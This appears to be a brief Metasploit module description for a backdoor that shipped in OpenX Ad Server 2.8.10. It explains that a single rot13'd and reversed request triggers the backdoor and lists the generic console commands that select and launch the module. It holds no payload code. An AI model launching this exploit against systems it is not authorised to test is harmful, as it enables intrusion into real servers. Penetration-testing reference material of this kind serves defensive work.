OpenX Ad Server version 2.8.10 was shipped with an obfuscated backdoor since at least November 2012 through August 2013. Exploitation is simple, requiring only a single request with a rot13'd and reversed payload.
PHP
php
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/openx_backdoor_php
msf exploit(openx_backdoor_php) > show targets
...targets...
msf exploit(openx_backdoor_php) > set TARGET < target-id >
msf exploit(openx_backdoor_php) > show options
...show and set options...
msf exploit(openx_backdoor_php) > exploit
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